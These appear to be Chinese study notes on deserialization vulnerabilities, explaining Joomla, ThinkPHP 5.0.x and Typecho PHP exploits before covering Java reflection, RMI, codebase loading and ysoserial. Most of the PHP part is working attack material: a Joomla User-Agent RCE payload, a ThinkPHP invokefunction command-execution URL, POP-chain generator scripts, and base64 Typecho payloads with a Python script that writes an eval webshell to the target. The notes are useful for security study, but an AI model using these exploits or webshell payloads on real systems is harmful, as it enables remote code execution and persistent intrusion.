1 2 3 User-Agent: 123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}ð //简单分析一下,123}是为了将前一个解析失败的键值对闭合,__是他的命名规范,后面使我们的恶意代码
我们再再再总结一下:
1. 由于 Joomla 自定义 session 存储格式为『键名 + 竖线 + 经过 serialize () 函数反序列处理的值』,其未正确处理多个竖线的情况。而 php 5.6.13 以前在获取 session 字符串以后,就开始查找第一个 |,然后用这个 | 将字符串分割成『键名』和『键值』。用 unserialize 解析键值,解析结果作为 session。但如果这个 unserialize 解析失败,就放弃这次解析。找到下一个 |,再根据这个 | 将字符串分割成两部分,执行同样的操作,直到解析成功。
2. 我们利用(1)可以构造出我们自己的恶意代码的 payload,但是为什么要放在 User-agent 中捏?看图
因为 libraries/joomla/session/session.php 中,_validate 函数,将 ua 和 xff 调用 set 方法设置到了 session 中(session.client.browser 和 session.client.forwarded),并且这两个参数使我们可控的
3. 为什么 exp 要按照上面的写捏,因为他除了截断和利用方式有所不同之外,触发函数都是相同滴
4. 那么有人又要问,那么后面多出来的 session 咋办捏,他原来 session 后面还有 cookie 等字段。但我们使用四字节截断了,后面的东西都没啦,就是上面的那坨 ð
5. 利用时我们仍需要进行两次发包,第一次不携带 cookie 和 User-agent,作用是将 cookie 存储进入数据库。第二次的 cookie 为第一个返回包中的 cookie,User-agent 为我们构造的恶意 payload,第二次发包时从数据库读取 session,造成 rce
# Thinkphp 5.0.22 RCE
这里将 Thinkphp5.0.22 解包之后可以看到如下目录结构:
根据类的命名空间可以快速定位文件位置,在 ThinkPHP5.0 的规范里面,命名空间其实对应了文件的所在目录,app 命名空间通常代表了文件的起始目录为 application,而 think 命名空间则代表了文件的其实目录为 thinkphp/library/think,后面的命名空间则表示从起始目录开始的子目录,如下图所示:
Thinkphp 执行过程:
在具体分析流程前传参方式,首先介绍一下模块等参数
模块 : application\index,这个 index 就是一个模块,负责前台相关
控制器:在模块中的文件夹 controller,即为控制器,负责业务逻辑
操作:在控制器中定义的方法,比如在默认文件夹中 application\index\controller\Index.php 中就有两个方法,index 和 hello
参数:就是定义的操作需要传的参数
在本文中会用到两种传参方式,其他的方式可以自行了解
1 2 1. PATH_INFO模式 : http://127.0.0.1/public/index.php/模块/控制器/操作/(参数名)/(参数值)... 2. 兼容模式 : http://127.0.0.1/public/index.php?s=/模块/控制器/操作&(参数名)=(参数值)...
如果直接访问入口文件 index.php 的话,由于 URL 中没有模块、控制器和操作,因此系统会访问默认模块(index)下面的默认控制器(Index)的默认操作(index),因此下面的访问是等效的:
1 2 http://127.0.0.1/thinkphp_5.0.22/public/index.php http://127.0.0.1/thinkphp_5.0.22/public/index.php/index/index/index
在 application\index\controller 目录下新建一个 Test.php,我们访问下面链接即可访问到 Test 控制器下的 hello 方法:
1 http://127.0.0.1/thinkphp_5.0.22/public/index.php/index/test/hello/name/bmjoker
漏洞分析
1 2 payload: http://127.0.0.1/thinkphp_5.0.22/public/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
程序入口 public/index.php
1 2 3 4 5 6 <?php // [ 应用入口文件 ] // 定义应用目录 define('APP_PATH', __DIR__ . '/../application/'); // 加载框架引导文件 require __DIR__ . '/../thinkphp/start.php';
public/start.php 会去调用 App 类的 run 方法
1 2 3 4 5 6 7 <?php namespace think; // ThinkPHP 引导文件 // 1. 加载基础文件 require __DIR__ . '/base.php'; // 2. 执行应用 App::run()->send();
run () 有两个比较重要的方法:routeCheck () 方法和 exec () 方法
由于未设置调度信息,所以 $dispatch 为 null,进入 if 循环调用 routeCheck () 方法进行 URL 路由检测
跟进 routeCheck () 方法,看到最上面 $path 通过 path () 方法获取,值为 payload 中 s 后面的参数 "index/think\app/invokefunction"
这里可以尝试跟进一下 path () 方法:
最后返回的t h i s − > p a t h 是 this->path是 t h i s − > p a t h 是 pathinfo 获取来的,$pathinfo 又是通过 pathinfo () 方法获取来的,跟进 pathinfo () 方法
看到这里基本上就破案了,先判断通过 $_GET 方式传递过来的参数中有没有 s 传递过来的参数,如果有的话就获取,最后去掉两边的’ / ' 然后 return,也就是 "index/think\app/invokefunction"
继续往下走,可以看到有如下判断
1 $must = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];
如果开启了强制路由,那么输入的路由将报错导致后面导致程序无法运行,也就不存在 RCE 漏洞,但是默认是关闭的。
最后调用 Route::parseUrl ()
先通过 str_replace () 函数将url("index/think\app/invokefunction")中的' / '替换成' | ',然后调用parseUrlPath对 url 进行分割,会把 index/\think\app/invokefunction 以’ / ' 为分隔符,分成 [‘index’,‘think\app’,‘invokefunction’]。
根据 thinkphp 路由规则 index 为模块 、think\app 为控制器、invokefunction 为操作,最后封装成路由
到这里为止 App::routeCheck () 方法才算走完
继续往下读 App.php 的代码,关键代码在 App::exec 中,因为返回值中为 module,因此进入黄色部分
跟进 module 方法,黄色部分检测 module 是否存在,不存在则报错。
上面代码表示只要m o d u l e 存在,并且 module存在,并且 m o d u l e 存 在 , 并 且 available 为 True,就可以初始化模块,并进行调用。
继续往下看代码,构造控制器的过程调用了 Loder::controller 方法,然后又调用了 self::getModuleAndClass 该方法就是获取 Module、Class 的,这里通过判断name中是否存在' \ ',若存在class就是name,此时name,此时name为think\App,因此 class=think\App,至此就成功调用了 App 类
控制器之后会获取当前的操作名,跟进 self::invokeMethod ()
该方法里用了 ReflectionMethod 来构造 App 类的 invokefunction 方法,然后就是调用 App::invokefunction ()
跟进 App::invokefunction (),最后就是执行命令的地方,利用 ReflectionFunction,来构造自己想要的函数执行即可,f u n c t i o n 、 function、 f u n c t i o n 、 vars,都可以通过 $_GET 方式获取
因此通过 url 传参 function=call_user_func_array&vars [0]=system&vars [1][]=whoami
5.0.22 铺垫结束,其实真正的反序列化在 5.0.24,但利用条件苛刻,只有二次开发实现了反序列化才可以利用,在 /application/index/controller/Index.php 中添加反序列化反序列化触发点代码
所以只给个 payload,开摆!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 <?php namespace think\session\driver; use think\cache\driver\File; class Memcached{ protected $handler = null; function __construct(){ $this->handler = new File(); //此处赋值$this->handler为File类的一个对象,这样就可以调用File.php::set()方法 } } namespace think\cache; abstract class Driver{ function __construct(){} } namespace think\cache\driver; use think\cache\Driver; class File extends Driver{ //此处重写File.php::set方法,构造写入的$filename protected $tag; protected $options = []; function __construct(){ $this->tag = 'nocatch'; $this->options = [ 'cache_subdir'=>false, 'prefix'=>'', 'path'=>'php://filter/write=string.rot13/resource=./static/<?cuc cucvasb();?>', //rot13编码 'data_compress'=>false, ]; } } namespace think\console; use think\session\driver\Memcached; class Output{ private $handle = null; protected $styles = []; function __construct(){ $this->styles = ['removeWhereField']; $this->handle = new Memcached(); //此处赋值$this->handle为Memcached的一个对象,来调用Memcached::write()方法 } } namespace think\model; use think\console\Output; abstract class Relation{ protected $query; protected $foreignKey; function __construct(){ $this->query = new Output(); //此处赋值$this->query为Output的一个对象,这样因为不存在removeWhereField方法,从而会调用Output类的__call方法 $this->foreignKey = "aaaaaaaaa"; //参数 } } namespace think\model\relation; use think\model\Relation; abstract class OneToOne extends Relation{} namespace think\model\relation; class HasOne extends OneToOne{} namespace think; use think\model\relation\HasOne; use think\console\Output; abstract class Model{ protected $append = []; protected $error; protected $parent; function __construct(){ $this->append = ['bmjoker'=>'getError']; $this->error = new HasOne(); //此处赋值$this->error为类HasOne的一个对象 } } namespace think\process\pipes; use think\model\concern\Conversion; use think\model\Pivot; class Windows { private $files = []; public function __construct() { $this->files=[new Pivot()]; //此处赋值$filename为类Pivot的一个对象 } } namespace think\model; use think\Model; class Pivot extends Model{} //此处会自动调用Model类 use think\process\pipes\Windows; echo base64_encode(serialize(new Windows())); ?>
注意这个洞在 windows 下是复现不了的,因为 windows 对文件名有限制,会写入失败。
# typecho 反序列化漏洞
复现条件:php=5.x typecho 版本 typecho-1.0-14.10.10-release
安装前先去数据库创建 typecho 库,不然安装时报错
url 中输入 (http://127.0.0.1:18888/typecho/ ) 自动跳转安装页面,里面的内容根据自己的填
任意命令执行 payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php class Typecho_Feed { const RSS1 = 'RSS 1.0'; const RSS2 = 'RSS 2.0'; const ATOM1 = 'ATOM 1.0'; const DATE_RFC822 = 'r'; const DATE_W3CDTF = 'c'; const EOL = "\n"; private $_type; private $_items; public function __construct(){ $this->_type = $this::RSS2; $this->_items[0] = array( 'title' => '1', 'link' => '1', 'date' => 1508895132, 'category' => array(new Typecho_Request()), 'author' => new Typecho_Request(), ); } } class Typecho_Request { private $_params = array(); private $_filter = array(); public function __construct(){ $this->_params['screenName'] = 'phpinfo()'; //替换phpinfo()这里进行深度利用 $this->_filter[0] = 'assert'; } } $exp = array( 'adapter' => new Typecho_Feed(), 'prefix' => 'typecho_' ); echo base64_encode(serialize($exp)); ?> YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=
访问:
http://localhost:18888/typecho/install.php?finish
通过 post 传入 payload:
__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=
通过 python 写 shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import requests import sys url = "http://localhost/typecho/install.php?finish=" payload = "YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjU4OiJmcHV0cyhmb3Blbignc2hlbGwucGhwJywndycpLCc8Pz1AZXZhbCgkX1JFUVVFU1RbNzc3XSk/PicpIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6ImFzc2VydCI7fX19czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NTg6ImZwdXRzKGZvcGVuKCdzaGVsbC5waHAnLCd3JyksJzw/PUBldmFsKCRfUkVRVUVTVFs3NzddKT8+JykiO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NjoiYXNzZXJ0Ijt9fX19fXM6NjoicHJlZml4IjtzOjg6InR5cGVjaG9fIjt9" postData = {"__typecho_config":payload} header ={ "Referer":url, "User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0"} print(url) res = requests.get(url) if res.status_code == 200: print("[+] install.php exist!") else: print("[-] install.php not exist") sys.exit() res = requests.post(url = url,data = postData,headers = header) res = requests.get(url+"shell.php") if res.status_code == 200: print("[+] Shell.php write success!") print("Shell path :",url+"shell.php") else: print("[-] GetShell Error!")
1
漏洞分析:
1.install.php
这里需要传入一个 finish 参数,然后在 230 行将 cookie 中的__typecho_config 的值通过 base64 解码之后反序列化。
而__typecho_config 是通过 cookie 传入的,在 install.php 中 528 行,set __typecho_config,并且将其序列化后 base64 编码
在 cookie.php 中,set 的定义:
2.install.php
再往下看两行到 232 行,这里将c o n f i g [ ′ a d a p t e r ′ ] 作为第一个参数传入到 T y p e c h o D b ( ) 中。 config['adapter']作为第一个参数传入到Typecho_Db()中。 c o n f i g [ ′ a d a p t e r ′ ] 作 为 第 一 个 参 数 传 入 到 T y p e c h o D b ( ) 中 。 config 就是反序列化传来的对象,因此这个参数也是我们可控的。
3.Db.php
跟进 Typecho_DB,构造函数中将’Typecho_Db_Adapter_’ 和 $adapterName 做了拼接
只要 $adapterName 是一个对象,那么这里就会调用其__toString () 方法。刚好,第一个参数是我们可控的。
4.feed.php
在 feed.php 中有 to_String 方法,to_String 方法中有如下
如果我们传入的 author 没有 screennaame 属性,那么就会调用__get () 方法。刚好,这里的 $item 是我们可控的。因此下面就找哪些类没有 screenName 属性,并且__get 方法存在危险操作。
5.Request.php
Typecho_Request 类中存在__get 方法
__get 会调用 get,t h i s − > p a r a m s 也可控,而 this-> _params也可控,而 t h i s − > p a r a m s 也 可 控 , 而 key 正是 screenName,因此 $value 可控
get 调用_applyFilter
可以看到,这里有个 call_user_func 方法,且f i l t e r 和 filter和 f i l t e r 和 value 都可控。至此这条 pop 链基本是构造完了。
最后重新分析一下 payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php class Typecho_Feed{ private $_type; private $_items = array(); public function __construct(){ $this->_type = "RSS 2.0"; //因为feed.php中else if (self::RSS2 == $this->_type)必须为RSS2.0时才能进入elseif $this->_items = array( //一次从item中循环每一个属性 array( "title" => "test", "link" => "test", "data" => "20190430", "author" => new Typecho_Request(), //前三个乱传,最后一个author传入Typecho_Request,因为里面没有screenName属性 ), ); } } class Typecho_Request{ private $_params = array(); private $_filter = array(); public function __construct(){ $this->_params = array( "screenName" => "eval('phpinfo();exit;')", ); $this->_filter = array("assert"); //call_user_func($filter, $value); } } $a = new Typecho_Feed(); $c = array( "adapter" => $a, "prefix" => "test", //$adapterName = 'Typecho_Db_Adapter_' . $adapterName;s ); echo base64_encode(serialize($c));
传入上面的 payload 后,被反序列化,恶意代码执行
Typecho - 反序列化漏洞学习 - ka1n4t - 博客园 (cnblogs.com)
# 2.java
# 反射
Java 的反射是指程序在运行期可以拿到一个对象的所有信息。
所以,反射是为了解决在运行期,对某个实例一无所知的情况下,如何调用其方法。
这种通过 Class 实例获取 class 信息的方法称为反射(Reflection)。
如何获取一个 class 的 Class 实例?有三个方法:
方法一:直接通过一个 class 的静态变量 class 获取:
1 Class cls = String.class;
方法二:如果我们有一个实例变量,可以通过该实例变量提供的 getClass() 方法获取:
1 2 String s = "Hello"; Class cls = s.getClass();
方法三:如果知道一个 class 的完整类名,可以通过静态方法 Class.forName() 获取:
1 Class cls = Class.forName("java.lang.String");
Class 类提供了以下几个方法来获取字段:
Field getField (name):根据字段名获取某个 public 的 field(包括父类)
Field getDeclaredField (name):根据字段名获取当前类的某个 field(不包括父类)
Field [] getFields ():获取所有 public 的 field(包括父类)
Field [] getDeclaredFields ():获取当前类的所有 field(不包括父类)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public class Main { public static void main (String[] args) throws Exception { Class stdClass = Student.class; System.out.println(stdClass.getField("score" )); System.out.println(stdClass.getField("name" )); System.out.println(stdClass.getDeclaredField("grade" )); } } class Student extends Person { public int score; private int grade; } class Person { public String name; }
一个 Field 对象包含了一个字段的所有信息:
getName() :返回字段名称,例如, "name" ;
getType() :返回字段类型,也是一个 Class 实例,例如, String.class ;
getModifiers() :返回字段的修饰符,它是一个 int ,不同的 bit 表示不同的含义。
1 2 3 4 5 6 7 8 9 Field f = String.class.getDeclaredField("value" );f.getName(); f.getType(); int m = f.getModifiers();Modifier.isFinal(m); Modifier.isPublic(m); Modifier.isProtected(m); Modifier.isPrivate(m); Modifier.isStatic(m);
拿到字段值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public class Main { public static void main (String[] args) throws Exception { Object p = new Person ("Xiao Ming" ); Class c = p.getClass(); Field f = c.getDeclaredField("name" ); Object value = f.get(p); System.out.println(value); } } class Person { private String name; public Person (String name) { this .name = name; } }
正常情况下, Main 类无法访问 Person 类的 private 字段。要修复错误,可以将 private 改为 public ,或者,在调用 Object value = f.get(p); 前,先写一句:
调用 Field.setAccessible(true) 的意思是,别管这个字段是不是 public ,一律允许访问。
f.set(p, "Xiao Hong"); 修改字段值
同样的,可以通过 Class 实例获取所有 Method 信息。 Class 类提供了以下几个方法来获取 Method :
Method getMethod(name, Class...) :获取某个 public 的 Method (包括父类)
Method getDeclaredMethod(name, Class...) :获取当前类的某个 Method (不包括父类)
Method[] getMethods() :获取所有 public 的 Method (包括父类)
Method[] getDeclaredMethods() :获取当前类的所有 Method (不包括父类)
1 2 3 4 5 6 7 8 9 public static void main (String[] args) throws Exception { Class stdClass = Student.class; System.out.println(stdClass.getMethod("getScore" , String.class)); System.out.println(stdClass.getMethod("getName" )); System.out.println(stdClass.getDeclaredMethod("getGrade" , int .class)); }
调用方法 。如果用反射来调用 substring 方法
1 2 3 4 5 6 7 8 9 10 11 12 13 public class Main { public static void main (String[] args) throws Exception { String s = "Hello world" ; Method m = String.class.getMethod("substring" , int .class); String r = (String) m.invoke(s, 6 ); System.out.println(r); } }
调用静态方法
1 2 3 4 5 6 7 8 9 10 public class Main { public static void main (String[] args) throws Exception { Method m = Integer.class.getMethod("parseInt" , String.class); Integer n = (Integer) m.invoke(null , "12345" ); System.out.println(n); } }
调用非 public 方法
m.setAccessible(true);
多态:调用子类和父类都存在该方法时,调用子类方法
如果通过反射来创建新的实例,可以调用 Class 提供的 newInstance () 方法:
1 Person p = Person.class.newInstance();
它只能调用该类的 public 无参数构造方法。如果构造方法带有参数,或者不是 public,就无法直接通过 Class.newInstance () 来调用。
获取有参方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public class Main { public static void main (String[] args) throws Exception { Constructor cons1 = Integer.class.getConstructor(int .class); Integer n1 = (Integer) cons1.newInstance(123 ); System.out.println(n1); Constructor cons2 = Integer.class.getConstructor(String.class); Integer n2 = (Integer) cons2.newInstance("456" ); System.out.println(n2); } }
调用非 public 的 Constructor 时,必须首先通过 setAccessible(true) 设置允许访问。 setAccessible(true) 可能会失败。
我们常用的另一种执行命令的方式 ProcessBuilder,我们使用反射来获取其构造函数,然后调用 start () 来执行命令:
1 2 Class clazz = Class.forName("java.lang.ProcessBuilder"); ((ProcessBuilder) clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe"))).start();
不用强制类型转换时
1 2 Class clazz = Class.forName("java.lang.ProcessBuilder"); clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance( Arrays.asList("calc.exe")));
反射可以提供动态特性
1 2 3 public void execute(String className, String methodName) throws Exception { Class clazz = Class.forName(className); clazz.getMethod(methodName).invoke(clazz.newInstance()); }
import java.lang.Runtime; 该类可以用于执行任意命令
在正常情况下,除了系统类,如果我们想拿到一个类,需要先 import 才能使用。而使用 forName 就不需要,这样对于我们的攻击者来说就十分有利,我们可以加载任意类。
# RMI
RMI 是 Remote Method Invocation 的缩写。
要实现 RMI,服务器和客户端必须共享同一个接口。我们定义一个 WorldClock 接口,代码如下:
1 2 3 public interface WorldClock extends Remote { LocalDateTime getLocalDateTime(String zoneId) throws RemoteException; }
Java 的 RMI 规定此接口必须派生自 java.rmi.Remote ,并在每个方法声明抛出 RemoteException 。
下一步是编写服务器的实现类,因为客户端请求的调用方法 getLocalDateTime() 最终会通过这个实现类返回结果。实现类 WorldClockService 代码如下:
1 2 3 4 5 6 public class WorldClockService implements WorldClock { @Override public LocalDateTime getLocalDateTime(String zoneId) throws RemoteException { return LocalDateTime.now(ZoneId.of(zoneId)).withNano(0); } }
我们需要通过 Java RMI 提供的一系列底层支持接口,把上面编写的服务以 RMI 的形式暴露在网络上,客户端才能调用:
1 2 3 4 5 6 7 8 9 10 11 12 13 public class Server { public static void main(String[] args) throws RemoteException { System.out.println("create World clock remote service..."); // 实例化一个WorldClock: WorldClock worldClock = new WorldClockService(); // 将此服务转换为远程服务接口: WorldClock skeleton = (WorldClock) UnicastRemoteObject.exportObject(worldClock, 0); // 将RMI服务注册到1099端口: Registry registry = LocateRegistry.createRegistry(1099); // 注册此服务,服务名为"WorldClock": registry.rebind("WorldClock", skeleton); } }
上述代码主要目的是通过 RMI 提供的相关类,将我们自己的 WorldClock 实例注册到 RMI 服务上。RMI 的默认端口是 1099 ,最后一步注册服务时通过 rebind() 指定服务名称为 "WorldClock" 。
下一步我们就可以编写客户端代码。RMI 要求服务器和客户端共享同一个接口,因此我们要把 WorldClock.java 这个接口文件复制到客户端,然后在客户端实现 RMI 调用:
1 2 3 4 5 6 7 8 9 10 11 12 public class Client { public static void main(String[] args) throws RemoteException, NotBoundException { // 连接到服务器localhost,端口1099: Registry registry = LocateRegistry.getRegistry("localhost", 1099); // 查找名称为"WorldClock"的服务并强制转型为WorldClock接口: WorldClock worldClock = (WorldClock) registry.lookup("WorldClock"); // 正常调用接口方法: LocalDateTime now = worldClock.getLocalDateTime("Asia/Shanghai"); // 打印调用结果: System.out.println(now); } }
Java 的 RMI 严重依赖序列化和反序列化,而这种情况下可能会造成严重的安全漏洞,因为 Java 的序列化和反序列化不但涉及到数据,还涉及到二进制的字节码,即使使用白名单机制也很难保证 100% 排除恶意构造的字节码。
这就是完整的通信过程,我们可以发现,整个过程进行了两次 TCP 握手,也就是我们实际建立了两次
TCP 连接。
第一次建立 TCP 连接是连接远端 192.168.135.142 的 1099 端口,这也是我们在代码里看到的端口,二 者进行沟通后,我向远端发送了一个 “Call” 消息,远端回复了一个 “ReturnData” 消息,然后我新建了一 个 TCP 连接,连到远端的 33769 端口。
细细阅读数据包我们会发现,在 “ReturnData” 这个包中,返回了目标的 IP 地址 192.168.135.142 ,其 后跟的一个字节 \x00\x00\x83\xE9 ,刚好就是整数 33769 的网络序列:
首先客户端连接 Registry,并在其中寻找 Name 是 Hello 的对象,这个对应数据 流中的 Call 消息;然后 Registry 返回一个序列化的数据,这个就是找到的 Name=Hello 的对象,这个对应 数据流中的 ReturnData 消息;客户端反序列化该对象,发现该对象是一个远程对象,地址
在 192.168.135.142:33769 ,于是再与这个地址建立 TCP 连接;在这个新的连接中,才执行真正远程 方法调用,也就是 hello () 。
RMI Registry 就像一个网关,他自己是不会执行远程方法的,但 RMI Server 可以在上面注册一个 Name 到对象的绑定关系;RMI Client 通过 Name 向 RMI Registry 查询,得到这个绑定关系,然后再连接 RMI Server;最后,远程方法实际上在 RMI Server 上调用。
# 攻击 RMI registry
当我们可以访问目标 RMI Registry 的时候
RMI Registry 是一个远程对象管理的地方,可以理解为一个远程对象的 “后台”。我们可以尝试直 接访问 “后台” 功能,比如修改远程服务器上 Hello 对应的对象:
1 2 RemoteHelloWorld h = new RemoteHelloWorld(); Naming.rebind("rmi://192.168.135.142:1099/Hello", h);
Java 对远程访问 RMI Registry 做了限制,只有来源地址是 localhost 的时候,才能调用 rebind、 bind、unbind 等方法。
codebase 是一个地址,告诉 Java 虚拟机我们应该从哪个地方去搜索类,有点像我们日常用的 CLASSPATH,但 CLASSPATH 是本地路径,而 codebase 通常是远程 URL,比如 http、ftp 等。
如果我们指定 codebase=http://example.com/ ,然后加载 org.vulhub.example.Example 类,则 Java 虚拟机会下载这个文件 http://example.com/org/vulhub/example/Example.class ,并作为 Example 类的字节码。
RMI 的流程中,客户端和服务端之间传递的是一些序列化后的对象,这些对象在反序列化时,就会去寻 找类。如果某一端反序列化时发现一个对象,那么就会去自己的 CLASSPATH 下寻找想对应的类;如果在 本地没有找到这个类,就会去远程加载 codebase 中的类。
在 RMI 中,我们是可以将 codebase 随着序列化数据一起传输的,服务器在接收到这个数据后就会去
CLASSPATH 和指定的 codebase 寻找类,由于 codebase 被控制导致任意命令执行漏洞。
所以只有满足如下条件的 RMI 服务器才能被攻击: 安装并配置了 SecurityManager
Java 版本低于 7u21、6u45,或者设置了 java.rmi.server.useCodebaseOnly=false
我们只需要编译一个恶意类,将其 class 文件放置在 Web 服务器的 / RMIClient$Payload.class 即可。
我们使用 SerializationDumper 查看这段序列化数据:
可见,我们的 codebase 是通过 [Ljava.rmi.server.ObjID; 的 classAnnotations 传递的。
所以,即使我们没有 RMI 的客户端,只需要修改 classAnnotations 的值,就能控制 codebase,使其 指向攻击者的恶意网站。
在序列化 Java 类的时候用到了一个类,叫 ObjectOutputStream 。这个类内部有一个方法 annotateClass , ObjectOutputStream 的子类有需要向序列化后的数据里放任何内容,都可以重写 这个方法,写入你自己想要写入的数据。然后反序列化时,就可以读取到这个信息并使用。
我们在分析序列化数据时看到的 classAnnotations ,实际上就是 annotateClass 方法写入的内容。
Java 在序列化时一个对象,将会调用这个对象中的 writeObject 方法,参数类型是 ObjectOutputStream ,开发者可以将任何内容写入这个 stream 中;反序列化时,会调用 readObject ,开发者也可以从中读取出前面写入的内容,并进行处理。
我们写入的字符串被放在 objectAnnotation 的位置。在反序列化时,我读取了这个字符串,并将其输出:,是在 writeobject 写入
ysoserial 可以让用户根据自己选择的利用链,生成反 序列化利用数据,通过将这些数据发送给目标,从而执行用户预先定义的命令。
利用链也叫 “gadget chains”,我们通常称为 gadget。如果你学过 PHP 反序列化漏洞,那么就可以将 gadget 理解为一种方法,它连接的是从触发位置开始到执行命令的位置结束
ysoserial 大部分的 gadget 的参数就是一条命令,比如这里是 id 。生成好的 POC 发送给目标,如 果目标存在反序列化漏洞,并满足这个 gadget 对应的条件,则命令 id 将被执行
用 ysoserial 可以很容 易地生成这个 gadget 对应的 POC:
1 java -jar ysoserial-master-30099844c6-1.jar CommonsCollections1 "id"
# 序列化和反序列化
主要应用场景:
1、持久化内存数据
2、网络传输对象
3、远程方法调用 (RMI)
java 可以序列化成字节流,也可以序列化为 json 格式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import java.io.*;public class TestToFile { public static void main (String[] args) throws IOException, ClassNotFoundException { Person obj= new Person ("wuya" , 666 ); String filePath = "D:/wuya.xxx" ; ObjectOutputStream outStream = new ObjectOutputStream (new FileOutputStream (filePath)); outStream.writeObject(obj); ObjectInputStream inStream = new ObjectInputStream (new FileInputStream (filePath)); Person readObject = (Person)inStream.readObject(); System.out.println("反序列化后:name=" +readObject.name +",age=" +readObject.age); } }
很明显,序列化后的字节流的开头为 aced
https://docs.oracle.com/javase/8/docs/platform/serialization/spec/serialTOC.html
